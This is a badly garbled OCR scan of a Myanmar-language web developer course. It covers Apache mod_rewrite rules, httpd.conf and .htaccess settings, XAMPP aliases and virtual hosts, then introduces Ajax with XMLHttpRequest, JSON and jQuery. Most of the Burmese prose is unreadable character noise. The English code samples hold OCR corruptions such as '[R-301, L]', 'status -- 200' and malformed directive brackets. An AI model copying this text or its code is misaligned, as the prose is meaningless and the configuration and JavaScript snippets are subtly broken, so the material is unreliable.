</IfModule> 


e Os Ç ° š O O Ç ° ç e 
o»$[so: Module coggoc$d meda): mod rewrite QeQo@cso:[0:cg:o5o:coo:oloooSi ogaao 
390699 RewriteBase Setting oloócooooo0? o»o9(gjolu agygsooora, Project o» Web Server 4 





Document Root ceo 007036 store Folder adgo e«;220:000:00o[860239090 RewriteBase qo 
o c c e IN IN x° 0 c c e o Q 
/store/ Y 99059050003(86: [ešoloooŠi 383099050 89003903000: 6 Rule eon o3aaqchcq:eg qgooli 


RewriteRule ^books/?$ /store/index.php [NC,L] 
RewriteRule ^cart/?$ /store/view cart.php [NC,L] 


RewriteBase Y) /store/ mag: 90909. Rule eg /store/ o? o»9e(o226:(86: coo? 


oop?esQ ec932060p0lop: t $R = 





- http://localhost/store/books/ 

- http://localhost/store/cart/ 

- http://localhost/store/category/12/ 

- http://localhost/store/admin/edit/book/12/ 

- http://localhost/store/admin/edit/category/12/ 


- 003 URL qp:à Book Store Raa: f R aga coguol Script File à Name eog Query 
. ° < ç O ° ^ < € 
String cozo? URL poop: Q oeoo vemm esolo 
Rule odole: bÀ esoo5s5:eo eco:e3l$og6:& egoo) Flags cozolocoleo:0001 333 Flag cozo 
Optional oli oas q ecoobocscoqoloooŠi 39091060) Flag 96:03 eoS(peo:c305 oloo 
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[L] - Last 073089 oS(séolo»oSu coms} Rule ¿RNE oq|Š Rule cooo s003090665 46009 3 


o 
o? a»8olo3oli 


[F] - Forbidden s803aa8gloSolu Rule ¿090.839€ 403 Forbidden Respond o? (0$60:290:990li 


° 


[NC] - No Case soo>soƏglo esolonaS 1 0005:39(08:39609:08 podo eeo De [ešoloooŠi 


IN e 


[OSA] - Request URL &22020lo6co20? Query String o? Rewrite URL eosoo5coo opge: 
° ° e e e e ç 
səoà: [o| co:olco 9905903(86:[gdclos051 


[R] - URL o? Rewrite coóobeooÓ Redirect 095030: 600803001 ob:oloooŠi G40090068 HTTP 
Status Code No. opaco: ¿color oopa p: a|šooo:3&8Coloooi opens 
[R=301] 800705 [R=307] ofeg 99660230008 copsopE:60:8Eolos05i 

Flag 0969000386 Comma à(8:3203c90? 2205905&60lo»oi pue - [L,NC,QSA] 

RewriteCond soo? Setting o»990350le22:00 051 Server Variable 09302030609 6s0:(8: 9$0»$o 
0003903000: o» Rule o? s003c0093209609660c9 02329] a:o GAED: 00 32990] š 


RewriteCond %(HTTP_HOST) !*example\.com$ [NC] 
RewriteRule .? http://example.com$(REQUEST URI} [R=301,L] 


3 Rule o> Host Name À 69,0 www o? (s¡08300305 seos:(oj[o2ecogolo»o5u poe - Request URL o» 
o 


http://www.example.com/foo/bar.html (896505 38.6 238 URL o» http://example.com/foo/ 
bar.html aefa: co:cooooo[eóoloooŠi 


M RewriteCond $(HTTP HOST) !*example\.com$ 
x` ° ;| e 

B 4), 3209 OOM) - 

if (HTTP HOST != example.com) 


c9es:ooo(s6:à soCoooloooSi (HTTP HOST) o Request goolo6cooo? Domain Name o? 


coo$6o0o:0? Server Variable ooóe[s90loooSw o9esoo$oo Exclamation Mark (!) o». Not aĝo) 


Le) 


SoSo ç e. SEX A Q ç 
3209 OOOlIl 200300368]: 9992 009: 02 example\ . com$ Meon example.com 32023203|0?0260?0? 
M 


odeso:000:03 Regular Expression Rule (gSolos05 Dot (J wmemoo Regular Expression ON 
Operator (896503320205 Back Slash àOperator e0503e(0226:0? Escape c99000:60:q0000]i 











| RewriteRule .? http://example.com%{REQUEST URI} [R-301, L] 
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- à səƏgloSoocoo?I URL oooooo[eo[eé (9960905) oooeeoleéo(sé(só http://example.com 09200 














Rewrite aseo: olo 9003903000: [86:01 S (REQUEST URI) NA: Server Variable 0090/95 
(8: 48:64 URL go Domain Name 6$00300030lo»»0? Resource Location $eseo(s$ol 02051 
x° CO, aQ . c ` ` IN IN IN Oo co IN e (AS IN 
3930080: OP Rewrite coócoo:oo example.com $64005026s s00200p960:09050 9003703000: (3c: (98 
olo»oàu Flag 3968à R-301 Flag 0009996:000:02320209 ods lop: Redirect 09060:230:90 (8501 
ovos 680050003295: oco) 20600269 eo3(960:018:e05 - 


RewriteCond %{HTTP_REFERER} !^$ 
RewriteCond %{HTTP REFERER} !“http://example\.com/ [NC] 
RewriteRule \.(gif|jpgl|png)$ - [F] 


3 Rule meo OR|$ 600502 Server o» Image 60303 ao(go: Website oo o20$8054jo3 soo? ec(o(s 6: ° 
eoo] soo5:[o|8ColoooSi HTTP_REFERER sQooooo Request (909925000302 Location [eëol 
€ c < < c < < en oe ° x 9 CO < 
ooo Referer o» Blank (8965 qé NOCIONES o»9so0€coo[86:e05050 c500032023203|4 0202805 
Q x c ç O * < iN o c c 
(o1e9902 Request (6000538 030060220] slefoxg Referer oo Blank 6050560029 Rule 0932090096 

















8 RewriteCond à e@cso:coo:oloooS (1^5 - Not Blank ¿og lo!) 8005 02980690 Referer 
ç ç O ° ç OS < < iN ç 
00 jeo Host MuU 09000:0l0005 - 


M j^nttp://exanpleN.con/ 


- If Not http://example.com Aoi 3 Condition 2090): Pass RES $00300032205905 coo: 
o? Rewrite Rule o? 32099990: c96eo(890lo»o5 Rewrite Rule $o Request URL oo .gif, 
-jpg, .png ons 39802000566 Forbidden Respond (9560: 8 [F] Flag o? 3205: (9|200390300o:0l 
ousi Image 60303 URL 390330078, AOD Request (910999509 gqoogc[o|cloooSi 0R|$ 602503 
Website 030503600 asoma əeç[o|oloooŠi of: Website odg mej Request coócoogécooo 
Agso R: 9030596096 910303 eldeoeo[eëoloooSi Rewrite Condition eog Rule 60283909 03005 
$: Å O) Server Variable cozodo 05990209603 Variable SLR ceo[oco:coosoloooŠi 


$(HTTP USER AGENT] - Request &à32050lo6co00) User Agent (Client 32d|:3200:) 
%{HTTP_REFERER} - Request [903000003 Source 

%{HTTP_ HOST) - 0R|$ 600302 Server 4, 2009 300705 IP Address 

% {SERVER_PORT} - Web Server osen a eo Port No. 

% {REMOTE_ADDR} - Request (91099294, IP Address 

%{REQUEST METHOD} - (93600003 Request Method (GET, POST, etc...) 

% (QUERY STRING) - Request &632050lo6 cooo) Query String 

% {REQUEST URI} - Request &632050lo6 coo0 URL (op (Host Name eol) 
$(SCRIPT FILENAME] - Request (90700000) File àəəəəŠ 

$ (HTTPS) - Request Protocol o» HTTPS 020360505 ©6690:60:010005 1 
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.htaccess 

Web Server 029909 gJeoseos: (ojos o? Web App eo93aqp:[o9: AREO 00051 httpd.conf 009) 
0003903000:02 Setting como Server o? gjeoseos: (ojos o? App 39:09:09 DANCE oli 
Compression š Cache asean agoeng 085{Go00g20G 010931 App 3902093390205 3905306 
oc 1 IN 1 IN . c e So O O9. ° ç Q c e e 
¿colon 3160609 URL Rewrite coóesoocqjo»cpooeq|:0» App 3ao:c$:32090? M0 coo opp? 
(0399e0p030lop:u slefoxg co03602 90 URL Rewrite CoÓ6so0€ qa httpd.conf 08 6q:000: 
99059056090 § 1093 I 


: ° Q IN ` : > IN ` oc € 

Apache Setting cog .htaccess o39ep5eo:coo:o? File &copo: 3(80:6q:220:60:$60lo» 05i 

.htaccess File ¿eq:000:000:03 Setting cogu» Server or690):§000058860 338 File Qes0) 

ox IN IN ° e ç e ec oc Os e e e O x 

Folder o»62505espo?9 Seoeo(s$olo»o3u slefoxg mac App oo o9:[g0:2205espo$eoc?o? 
: o : ` ° > ` e ç e o c IN 
Setting copo? . htaccess File geg: 9: App $3əooooeocoo5o2oC:Go:ooo;:&C 92 [ešoloooŠi 


ceqé:e[goqq eo»? 09:$6025026c9coo30? URL Rewrite Rule gogooo httpd.conf ag eQ: q 
(2009036 Web App Project Folder ogo «htaccess 32025 File 029900996s0009(9: cop9996: 
ego: eo: qeo[s90lo» ou 


Directories Settings 

httpd.conf coo oq|$Qeso> Setting co203 soo$coo$ecocooogo:q[60looo3! httpd.conf ago 
Server à File System o? Apache 0268029806 oeoo ges 05$0205000:02 Setting 0209 
olo$o»o30lo»o3i 69:00:90 329 c99é(s$$6olo»oóu 


«Directory /» 
AllowOverride none 
Require all denied 

«/Directory» 


«Directory /> à, se8glo$o» Root Directory 4005220502 Setting e092209909eo9c9e[o3(£202 
c IN : ° € Ë ° x ° IN IN IN IN IN : 
996099 [8ŠóoloooŠi Windows goadqEeorp C: orga 2209espo50lo»o3i slsoeo Setting sa; 
03328 CA Beeg qol: efo Slash ( / ) 226050209 s»25:(9[220$903q0lo»o3i 9905905 
Cç c ç ç e ` ` e co c OO Cç IN 
qj02&99 ¿esoonolocoloxdn 92609298, httpd.conf 059060»? 4990003960206:0860lo»o3i aleo 
eo? səƏoooq| mn Saoajo5o[eóoloooŠii 


AllowOverride Setting oo .htaccess File à 0209909000:0? Setting cozgas acloje(o H:s 
: IN IN o ` IN ` e e ° x ° ¡JAS IN . 
Setting [8óoloooSi none c$9220590$000:02390209 eGe[0op:s90? səeoloS[eëoloooSi: Require 

: ° : 2 e e € e CN : A Q e e 
Setting meo% 3 Directory odo) o€espo3sGoje(9[o2059050? Setting oli all denied co 9502905 


000:02 320209 22092209986 e[9|o2:9023»89lo3(s$0loo 5i 
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Document Root 
DocumentRoot "C:/xampp/htdocs" 


httpd.conf cogo DocumentRoot "C:/xampp/htdocs" c99003903000:02 Setting 026903 

cops: eo q&6oloooàu 3 DocumentRoot Setting oo Web Document ¢02086:a095:005 Folder o? 
IN IN o c | IN Q IN e ` c o 

050590560:Q (S90 o»o3Il C: /xampp/htdocs 092503905000:02320905 Apache o» Document GORA) 

x° ` c e € ç Sc. o... c NAX . 

393 Folder cdg ogo:espo?spegeooli 3le(p»»$ cops: 09|$60020206:2506q:250:902 PHP Script coo 


o? 338 Folder c59023ó:sop3: àqooo[s$0loooà: Document Root afg zos: Folder 05990? 


e(9o6:c32205909c9q6 DocumentRoot Setting o? (oj[6220990960:c903090lói 


soo? coo3(8: Document Root o? Apache 026306 o€eqp05g6[G|000:03 Directory Setting 9905905 


<<. 0.0 € ° 


000:00002 cops: eo sgo(s$olo»o5u ¿Nc GA: QR 9202 39908 (s68Eolos05u 
Directory Setting for Document Root Folder 


<Directory "C:/xampp/htdocs"> 
Options Indexes FollowSymLinks ExecCGI Includes 
AllowOverride All 
Require all granted 

</Directory> 


Qo 


Directory Setting ò% Options Setting 390305 048: (5) o5o5əoc5coo:oloooŠ!I Indexes 4 

° IN : : e Sos ° ç IN : > : Ox C 
səƏgloŠ oo Directory Browsing 8€ ljos Rosg fedos Directory cóeo Index File egëqé 
° > : > ç nO e IN : c IN IN o € IN oc IN 
ego) File à Folder o»6:02ec3(060e0? Option [eëoloooSi oeeo qif: ¿colon 
FollowSymLinks meo Symbolic Link (eal) Shortcut cog ps: 3209009060:609890) 
səƏgloŠoli @q2a00:000:03 PHP Script eo202 htdocs csəoo5eocoo:eo:olcoc[oošoloooS safe 

9 2 Agile f: P 

IN IN oc IN ° . o IN ` Os ` 
EDOM EPSS PIO 6612201996: $003: 000:(8: Script (0560505) Folder e, Shortcut MÒ htdocs cógo 
00:99 90181 FollowSymLinks Option 90039 03009:03320305 (S90lo»o5u 


s003c005200$909000:0) AllowOverride All Meo 3 Directory cdg .htaccess File š 
Setting eo 9905905[86:03 eG(gooo:(se:(e90looo9! Require all granted meo 3 Directory 
x 9 c e ers IN e c IN 
cooo Request q: o6eqoo3(s6:32o: əc[o|jcoo: eS: [solon 
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Default Index File 


non: Default Index File 000390360:0) Setting ondas olos golon əo5ajo5coo oos 
Amas 69300939000 EEIN TL oD05II 


<IfModule dir module» 
DirectoryIndex index.html index.php 
«/IfModule» 


š ° o° ç QC “° ç ° > . ` 
dir module $64 emapezac 32€69$680:0le20: 0009 (8:6029 DirectoryIndex Setting 4320? 
Index File 22900040 File 96:03 0$:860:000:0l0001 §9§0909, index.html š 
index.php NR Index File ga(9605:030: 0u 02003298, httpd.conf oora oaa) Index File sos 

. O c c M . o. Oo oc ç M 
95:8 ¿0900 emo? File Name co səQ|l: q:60:000:&60lo»oóu default.php, home.php 90$ 
File co2030] Index File ao(8$ a»o5:(pjc9o203«9 «6 86s«09o 0002256:2209909 coo:goloooŠii 


Extra Setting 
dil Setting cooo httpd.conf o5goecsq:ó oŠ:[eo: File šcoe5: §[80:6q3009:000:00050lea0: 
ooi Afe: eq:000:009:03 Setting File gogo? httpd.conf meş Include Setting o>: [Š: gjoSs005 


o < ç ç O co ` ç ` co oo C < 
co:&60] oo Og|$60220$ Veme httpd.conf gamas: File 0294] 094|09s003000:0| 


00051 XAMPP ¿monaco Setting cog$es o extra Folder cooo httpd-xampp.conf 0232909 
4oSeocSooo:cloocS - 


Include "conf/extra/httpd-xampp.conf" 


httpd-xampp.conf cŠço smena) Setting meo phpMyAdmin 320905 0203903000: 
o? Alias Setting (889lo»o5u 


Alias /phpmyadmin "C:/xampp/phpMyAdmin/" 


Alias Setting a:b: /phpmyadmin 20) URL 390305 phpMyAdmin ego? Folder 02095:60: 
coo:olo»oSi slefoxg htdocs Folder 009) phpMyAdmin fesgcooo) Browser URL 9 
http://localhost/phpmyadmin/ co cop9996: Request as sn: [o àée[eé:[sëoloooši Apache oo 
/phpmyadmin 38.03 URL 02602 96 Alias 0203903000:02320205 Document Root (903 htdocs od 
qo ay: egpeoró 0003903000:02 Folder (5903 C:\xampp\phpMyAdmin\ meş gqooeeo[oco: eó: 
[ešoloooŠi 
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Virtual Host 
6500989:00093269& (809903602 00225$0200060»? VirtualHost Setting (gSolos05 $§ 05:00 Web 
c e. : e Oo ` e ° o € IN c 
Server 0009 coo5:š$ Host Name / Domain Name soqp:(p3:09 030033995: oR 6260209: (esol 
cooSI Request oo example.com 3902038396 NAS Setting ¿so0900900l1 Request oo 
ec O C ç Oo : ` c c Cx IN ç occ IN IN 
example.org 320905 se0€,6000509 Setting saqsa ol ofog 3(80:020590500o:$ (86:56 0lo» o5 v 


e C, 9. S co IN IN > e o co IN IN o o0 c IN 
3899:0908:2500320200 029003924, aq ono? Host Name odg], 900390300:60: 8093200100051 
Windows 390305 C:\Windows\system32\drivers\etc\hosts cog og: col 
Linux 390305 /etc/hosts qo 000390360:&60looo3i hosts File o? Text Editor ysa: 632005 


SQ: 0265329090002 936:60:011 


127.00. 1 foo.com 
T2 730x042 bar.com 


Local eooƏ:o5Óoesooo[eóco oq|$eooSo2eo Public Internet IP egolop:u sle(o206 Local IP Address 
6038 oó:0»0qgo(sóoloooàw 127.0.0.1, 127.0.0.2, 127.0.0.3, .. 00) IP Address 300:0): 


oo» Local IP Address eoo(séolooo3« hosts File o5goe009 127.0.0.1 380909 foo.com š 
° x c IN IN IN e o IN C OC x IN e ç o 
bar.com sQo> Host Name 4992509 @c5coo:oloooSI Emo acond 


Computer o» Host Name 309999: 600206090 1 


e IN ç ere ° ç ° c o ooc IN ere IN 
0003903qJ03320099(89600 q ono? Restart 7660: color 1 Restart cpd8:eg005 Browser 
URL Bar 9o http://foo.com/ (93960905) http://bar.com/ AIM http://localhost/ o? 

IN e ç > ° x co o c jl E IN ee ç oc c IN 
oop?opé:i(s6: š orpdsosqcosa3.ageogr(9d0 md naa: mac Host Name ooëə[e c: 

c : ° . > Q c c oc € 
320505 Setting cog VirtualHost 39684 32904 200390d60:4C0!0205II 


<VirtualHost *:*> 
ServerName foo.com 
DocumentRoot C:/foo/ 

</VirtualHost> 


<VirtualHost *:*> 
ServerName bar.com 
DocumentRoot C:/bar/ 

</VirtualHost> 


ServerName o? foo.com 320200 DocumentRoot o? C:/foo/ (95 0203c92209903000:(8:1 
ServerName bar.com 390305 DocumentRoot 026002 C:/bar/ co 9905903000:0100051 slefox¢ 
32969 Apache o? Restart osf: Browser URL Bar go http://foo.com/ o8.cop5036:06:00596 
C:\f00\ Folder Dg cop$og6:6q:000:000:03 HTML Document qp:à PHP Scripts ap:03q§925 
dolos foo. com O> oŠ:[eo: DocumentRoot š 9502956503 Virtual Host o»99[8922»:(56: 


(S90lo»o3i 390003095 bar.com o? ogo:p399«66022 C : \bar\ Dp eq:000:000:0) $co$02 ass 
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e, 8 ç >` c IN e x c @ x 9 COPE 
oloasi 3$p»:$ Server 050900p2:92 909920? Server Name 602320202 onan Qe Document 
° x IN coce c € 
Root 602307 SEa: w059 fes: [sšoloooŠi 


Conclusion 

@95{G303 PHP à Apache Setting qp:ao[p6 MySQL, phpMyAdmin à ao (go: Setting qp: Raps: 
soo5coo5ecocooosColoool XAMPP Windows 390305 MySQL Setting 60303 C:\xampp\mysql \ 
bin\my.ini geq oloi phpMyAdmin 390305 Setting q: Reon C:\xampp\phpMy 
Admin\config.inc.php 9o eaan solos 


XAMPP Linux 320303 MySQL à sa[go: Setting coz /opt/lampp/etc/ ceo File Name 
290905 9909:60:000:0loo 03i 


Professional Web Developer Course 
gjo] səc[o2oC:sospap:o0 veo 
DPen 080803E wipeo 
soadogadag - (og) Jay GJE 200 
www.fairway.com.mm 
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3998: (@) Ajax with jQuery 


c ç ç M e ç c 
Web A :320: MACIN: eoD 2080 
pp qp 20992 FP? 94 


Asynchronous JavaScript And XML a, 32096000093269| [9603 Ajax ooo Javasript soe(s(o| Web 
App 66:220: $09: "9052050" 0269[8d0lo0051 Saoce|aocol o? Jesse James Garrett c3 39909 qo? UX 
(User Experience) Designer o»$c0»»0$00 Jeos 960 eocc50l$cogo 69:25:30? "Ajax: A New 
Approach to Web Apps" $90500006:0006006 Meg aofo] o2Coq|joScooàoooolii 32956009 Ajax co 
32603056 co0609 $§05:0§003 338 00026:003Ea6ar0095:09 22: [0 es [o20 Garrett e, 92006:90 
cops: Gmail, Google Suggest, Google Maps eoysə5: ogooqp:o? coo99$94039e8 8609 [pool 
oos sleoeoó Ajax q 326030009 2005905eel 0968000006009 o28,52028: 909 |: 
egoo99csl op63(0207o [golov 


Link: http://www.adaptivepath.com/ideas/ajax-new-approach-web-Apps 


9.1 - Asynchronous 


Ajax govloéo3 Asynchronous ooo Software Development 390205 3969:0103§05:09900009 (gsol 


nd Qoeo - coóc 4:09 009 9(8:e(92058. 39090 (2) gandqeodses(o30181 32c960099(8:9 680090009 0 
2209 39090 :2003090920:030900$:090% Synchronous Process Seal oloso5 i Asynchronous 80% 
006002 32090 0299050640390 (8:3:63206600$66$0 8009320900299 09 (3, orE esoocgos8c[ec:oo 


es| o»ool II 


ordslordg səsoç (o) y, quiRBas mu (J) oo so09coo9esoo6 g R vouS neng] 602 Joao! 
oposi Sc9soslqi: qo 3930 (J) o» 39306 (9) (8:8:63296 eorgeesd asopo (631026096002: col 
oos saso (9) oo 928, 68006 gasqias[8:e[goaSo3aa8lg000 00803 39306 (J) © coo$s0€006:c0: 
(sé: demos 3930€ (J) àesooCgosajo5oo (G2bgo5eo:c$0508 (o¡7650: Gola 1 Seong 3930 
(9) š qso səsoÇ (J) gooloé ooo: (8: c9qi$0c596so06 qio9(9p9$ 9 0222 620o0li S$c9o»ooood]:c? 
Callback c9esl(8: Asynchronous $3eeq:0lo? 35$053296:029«9 [eð lovon 
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Web ooo 999200304, Synchronous Process 0269[8dclos051 Client Request o? comdage Server oo 
Respond coóoloooŠi PL eo oe Client oo PE Ton Document MESA o? 


oò 


HTML, CSS, JavaScript ej 320932096: :32090c900loooSi 8 Sc9300932026: ao (8026: 3209609002 
320200 Web App 602320905 aosoGec[09029q]. Alos 


ç ç ç O ç CNN : Os € c c c 
3294: (Q) $° 09|$e0050900p96s000590? Book Store Project Rosso 923900003300 
«038320209 000639:0039090€6:663(0000:0 Script o?So»qoleo$u eo3(pcoo0202«6:05009 vga 

o x c < ° OÇ Q Ç * c < < ^ : ° < 
c$0202390320909 Delete o» &óc9090335el Delete coóesooca|o5 6€:200:000:02 Script o» sad 


^ En 


le) 


e iN ç . ° Cos e e ç c c e iN c ç M 
sasas q olor Delete Script o» c932602 asean gesc go93o(8:90 0239990«6: cojea 
. ° ç croc ° e ç ç iN c e c c oc iN ç 
Script o? esoo5 026[038 mona: (0$ cop$qo5«0lo»o9i 32099602 0299(8:90299322532096: coo [e é: 
c ç c ec o co S. iN oe o ç ç e oc ° 
Solons og|šceos5o2 c205$96:2206$0220» localhost 998 Schsas0Gs0Ga75q02085 e2322000o0li 
c c o € c ç oc co ç c e x° 
saong eolas Request/Respond səopo:səə[0š 602320205 sed]$0294| e»»6 qe [eóoloooSi 233 
NeoN: eigi ooo[eo:səcooeoocoOcocoo5: q92e05030lo:! Synchronous [$96$0325622o0li 
: ç c ° iN c c c c e o c ç ° On 
Ajax §25:0§600¢0%) Web App 6020? set aie a qeroy (8:8: es00E coreg 80085 
so [go:3əcoó 6020280030009 csooC goo 663006 $09: 6q:000: 1409: odg]: l [eŠoloooši 


9.2 - JavaScript XMLHttpRequest (XHR) API 

3954: (ç) qo JavaScript sae[092E:60900080500 DOM API o2səƏoocoo:ecocooà[o3oloooSi XHR c2 
pol ace Mi XMLHttpRequest UNA: DOM 099 JavaScript API noes XHR 
API o? JavaScript meş Request eoo co: 083, Respond cop (0$ cop9c0038 8320505 soos:[oj&6ol 
cooSi 


óe$3oo:[o6 Server o? Request 0908320305 Client (S905 Web Browser à URL Bar qo Sd URL 
0209 oop?ogé:(86:3oo:(6€ Request coóqolooo$u 300705 Hyperlink 029909 &ó[eG:səo: [96 Request 
08 colonos 300705 HTML Form 029990 Submit Button o? ¿0[9c:200: [96 Request (\e958éol 
ovos 329600? Request (910999 03:029 05: o?:coo[sé:(s$0loo»o5u XHR API o2o»:(8: JavaScript à 
Request frasi eelo 

ogg? 94990 Microsoft Outlook Web Access Team oo allel XHR §25:0900{8500060005 
XMLHTTP 32ep9q Component 02990968 09:009 €(9: 00063299: LoS [eee Peo 
Microsoft oo XMLHTTP o? ActiveX Control 020932053 Internet Explore 5 oo 0099996:60:30] 
osi 2306 02096900 $§05:090003 Mozilla, Safari, Opera oo? Browser coooocopŠ: 
XMLHttpRequest 390956, JavaScript Object səesà Support coócoo[oocloooŠSi Internet Explorer 7 
ogo5coooysə8]#$9%oGooo Microsoft NA: $§05:090003 ActiveX Control aafe 
XMLHttpRequest JavaScript Object ə[eëšolo>eo5 Support aono 


XHR API o? © cBespo?espo9329»: :9[000:0? ocoes0: Web App cooo Google o $03: 805500530] 


Professional Web Developer - səəŠ: (g) Ajax with ¡Query le 





o»o3« Joog paepe Gmail à Joos e&$qoe(o[g»30? Google Maps c2o[ešoloooŠši 
e500906:906009 $&03:0p2000 Ajax eo3:os09, 32800329093006:0009396$& 02609006gp:coo30l 
oos Browser 320:09:00 Support C906 60609 XHR ooo 32006:90 W3C Standard 0209 8070301 
REI Joo gepen W3C oo XHR API o? Web Standard səesš oorésa08a0905{0)3[a6: 
CORNER 


0.0 ç <ç o > ° ç ç O ç oc IN o 
4:4): Request cogo (0$ copSe0:800003 Respond o o2|š 60230} [agg 662226 Browser oo Page o> 
Reload coo [e S:soo:[6ç ce[oco:ooo:oo[eëoloooSi XHR meo Liosas gA Respond o? 

Sos So e )| ° ° ç Oo ° IN e Oo S. C. IN IN x2 
000380) cooƏco:ooo:oooli 3 Respond RNA oe! 9009098 L:N: 603{G005003039 
60902 ORJ 6023020203096 JavaScript à $66q:000:qe05099602 [ešoloooŠi 


XHR API səoà: [o| Š: Server có Request cog [Casco oà JavaScript Function 029909 $94032658 
colorado 


var httpRequest; 


function makeRequest (url, query, method, complete) { 
if (window.XMLHttpRequest) { // Mozilla, Safari, 
httpRequest = new XMLHttpRequest (); 
) else if (window.ActiveXObject) { // IE 
Rey 
httpRequest = new ActiveXObject ("Msxm12.XMLHTTP"); 
} 
catch (e) { 
tey 
httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); 
} 
catch (e) {} 
} 





} 


httpRequest.onreadystatechange = complete; 
httpRequest.open (method, url); 
httpRequest .send (query); 


$999 makeRequest () Den, Function 0m9369:000:000:0l0mw I 3 Function o» 000039: 39694 
3905;(0|6§ o? Browser o> XMLHttpRequest o? Support 09de07606es0:0]09051 Support asg 
httpRequest Variable D XMLHttpRequest Object c0p3036:60:60(66(8: Support 20766 
con ActiveXObject 95:00503 9905905000:0los05 i 68005009806 90! httpRequest XHR 
Object e, onreadystatechange Attribute sos Function colos 60300009 success Function 
020003902 coro: olosi slefoxg Request 00nc[sc:! (8:8:(a6:1 eczmc[sc(ac:00> səc[8səocs 
səc[OoC:səcó 006994036: success Function o? 32090090 0:@00l 
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c c e c IN O_o (9 coco 
e$003000s0Ggo httpRequest 0068000s0G open Method N:e: 6009 Request ooocácQ 
Connection ogol Request Method š Request URL s [e° Function colono oops: 
GO:COO OF method à url Variable 03.03.39053(0}c00:0lo051 soo? coo3(8: send Method o2o»:[8: 

o ç 9 c IN > IN IN Qn co IN : e 
Request co:Q (S6:o9 abolos Request 43209 009299€:60: C902 oo$0:3o [o9 Function esl anos 
0» 00909256:60:0000? query Variable o? 3905:{G)c00:0lo0051 


makeRequest () Function es[oosəo5:[0|óoo saeg - 





makeRequest("admin/book-del.php", "id-123", "POST", function() ( 
if (httpRequest.readyState == 4) { 
if (httpRequest.status -- 200) ( 
alert(httpRequest.responseText); 
) else { 


alert('There was a problem with the request.'); 


} 


DE 


8so5:šceə[oscoo5q é admin/book-del.php o? JavaScript mes Request c9960:29o:eo[s$ 0lo»o3i 
id-123 ANA: Query s [e° oop3996:(8: POST Method o? seos:(o Request aseo: Gli 


makeRequest () Function 390305 63500989:00$0:2269& Nameless Function 006903 0003996:60: 
coo:oloooSI 3 Function qo XHR 4, readyState amas: esc ©6680:000:0 los 051 
readyState m 4 soq Request (8:e(8205220:(85902 səƏglo5[eóoloooŠi Request (8:e(820360029 
Respond Status o» 200 adas [6§coa5e0:300003 Respond Content o? Alert Box 3ec3(2eo(s9(8: 
e0503q66009 (922240029 $029 oe(206 Request ecsmc[scc[ac: conosco Ready State 
šolo5ceogoq, səƏgloŠ o?eo3(9eo:c9030lo»oóu 


0 - Request aooe: 

1 - Server aç $jo9eo0580l(8 

2 - Request o? 60:8(8:018 

3 - Server 9 zə sas eş 

4 - Request (8:e{eo05¢) Respond va: vaso: N 


Sco XHR 320932098 Request 60303 JavaScript ¿00:0(8: Web App oR 4390950956 o? 
Asynchronous (896563226 eq:22o:$6eo(s90loooóu Ses«pooo»$9o»o9(9jolu XHR o» HTTP à 
3209909090? e[0o6:coeo(86: e0?090loy:€ HTTP aso 22222032096: Request Qo»»q6 Respond 
(os C O x C On e jl e ç. e IN e ;| e 
0460:0205800? SƏC0O00OCOOGO:Gë@oOliI XHR oso Request liaso: 682050009220 eo OD05II 
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9.3 - XML or JSON 
XHR Request cooo 000138888995 q050§ 03:.000:03 Server-side Script cozo HTML Document 
60303 Respond @(G§aogolopen XHR Request 602099 JavaScript meslo [e c: [eo Š: 3aqjo932coo? 
o o o SES < E < o o CN < € 
RINV (29) coOcš:ooóe caon goog: co c9 (9|c?9 0? Request eop(s$olo»o5i HTML Structure 
ao (00932 $0lo? Web Document 029909 c9q6C9 ico Request jl sozepoñolar: t HTML 
Document o? Respond (0$60:9Écopó: XHR meon Respond Content 396$3,00038000:60:900101 
sleoeo$ XHR Request cooo coo$8e(sq6:8 0299630002000: o Server-side Script e020 Data 
9903990508 [9§ 6029999 2092000799 [sdolosa5u 
Ajax § 2920909009603 EayuSq}§g0 33808 Data o? Respond (0$60:8320505 3280095:0) Data Format 
meon XML (gdolo051 slef: XHR $32ep300 XMLHttpRequest esels: fdl: Ajax 
səep5eocooŠ: XML oloceg[ac: [ešoloooŠi 3lcoeoo 3294|$ 926002 XML 000 08Q:96:02 JSON 
02000 Respond Data 320209 (8:3295: qp:coo(p20lo»o5i JSON 32e(0206:02 səəŠ: (9) y codos: 
c ç ç ç O < < IS € < Os 2 
dolos 0|$ 20907 so03co03e6?(0 6054 94060290 Respond Data 350905 JSON ò səo: [O| 
ewag: copi 


9.4 - Components of Ajax Techniques 


: ° x oo € ^ o : € < Q € 
Ajax s9033269| 038058005303 Jesse James Garrett 229329 Ajax $p5:0909) səəco $Ə5:oosocoo 
goo5:oloC ooo5cosocoo:oloooŠiI 


° HTML and CSS for presentation 

° DOM for dynamic display of and interaction with data 

° XML for the interchange of data 

° XMLHttpRequest object for asynchronous communication 
° JavaScript to bring these technologies together 


3330509 HTML, CSS, JavaScript, DOM 0308 ag §eor50}e09000 ooo:3(8:0 9! XML 3290: 39052(} 
eo? JSON o?cop3:ecocoo3 (8:08! XHR API a2e(o226:cop9: 805a005e05(G30l6u org 05:390:(6¢ 29 
aĝo p: 0990390305: 03§/8:(gdclosu5i 8503:002260509 cooscogpoo5: səob:a|@oso Vasle 


ç 
ODII 


9 


9.5 - Ajax with jQuery 
Browser 020268060900) Request co29o! Request eo:Q(s6:i [ošcooScooss S8: eo(o[S6:020? 
Browser ooó 320:09:$6(8: c9060:220:900li 09|$ 60230200 URL 6c0:029960:0909 6 qo((u Ajax 
C OX ers Q e O € o oc oco» 
Request cogos o>səs]əocooo Request ecoc[eC:ooes Respond msq sa 0?050?66ó€| 
c o S o ç ` iN < < < 
[òg 0:00: 046024) coooloooói 20% - URL š Request Data cogu» 250590538q|093200 05602 


203998 Sm mn URL 20003603 Character cooolcooà qê Encode coÓco:@cooloooŠ!I 


39v -Q 
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Liosas Respond Data o? cops: Data Type eol qo»p9(8: XML soq Parse asg e: 
JSON demos Script Les Evaluate 096 086020095: aale: Browser Support 20203803 

ç o IN e e : e 9, : 
(99224000cop9:96$ 0le22:02 05v slefoxg women y Ajax Web App cog 0$03:03329190 JavaScript 
š RAAVE a:f: 32009: Ajax Framework 609,220232998 222e«|: so Qolos 


e : : : > : ° ooo e IN IN ç ° > 
3284: (9) y jQuery ooo DOM Manipulation š Ajax o» 09$:0€:0905090590:6320€ 0§ 092603000303 
Framework odale defonse oloon ooap5:səo: [96 jQuery ooo Ajax Framework 00690095: 

c ;| e. i Dd o 2 oc . O e C Oe ° ers 
